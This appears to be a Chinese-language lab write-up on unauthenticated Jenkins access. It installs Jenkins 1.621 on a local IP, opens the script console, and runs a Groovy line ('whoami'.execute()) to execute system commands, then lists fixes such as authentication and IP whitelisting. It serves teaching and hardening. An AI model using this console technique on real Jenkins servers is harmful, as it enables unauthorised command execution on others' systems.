漏洞简介

Jenkins是一个功能强大的应用程序,允许持续集成和持续交付项目,无论用的是什么平台。这是一个免费的源代码,可以处理任何类型的构建或持续集成。集成Jenkins可以用于一些测试和部署技术。Jenkins是一种软件允许持续集成。

如果jenkins 未设置帐号密码,或者使用了弱帐号密码,攻击者就能访问管理控制台,可以通过脚本命令行模块执行系统命令。

环境搭建

1
2
wget http://mirrors.jenkins.io/debian/jenkins_1.621_all.deb # 下载
dpkg -i jenkins_1.621_all.deb # 安装

如果出现以下报错

image-20220729160049627

再执行

1
2
sudo apt-get -f --fix-missing install # 如果有报依赖项的错误时执行(解决上图报错)
dpkg -i jenkins_1.621_all.deb # 重新安装

访问8080端口即可访问Jenkins服务

漏洞复现

由于未设置密码,所以可以直接进入

image-20220729160327187

访问http://192.168.159.131:8080/manage进入管理控制台,进入脚本命令行

image-20220729160505939

可通过以下代码执行任意命令:

1
println "whoami".execute().text #执行系统命令

image-20220729160615069

漏洞修复

  1. 添加认证,设置强密码复杂度及账号锁定

  2. 禁止Jenkins对外访问或确保只对可信端点开放

  3. 设置允许访问ip白名单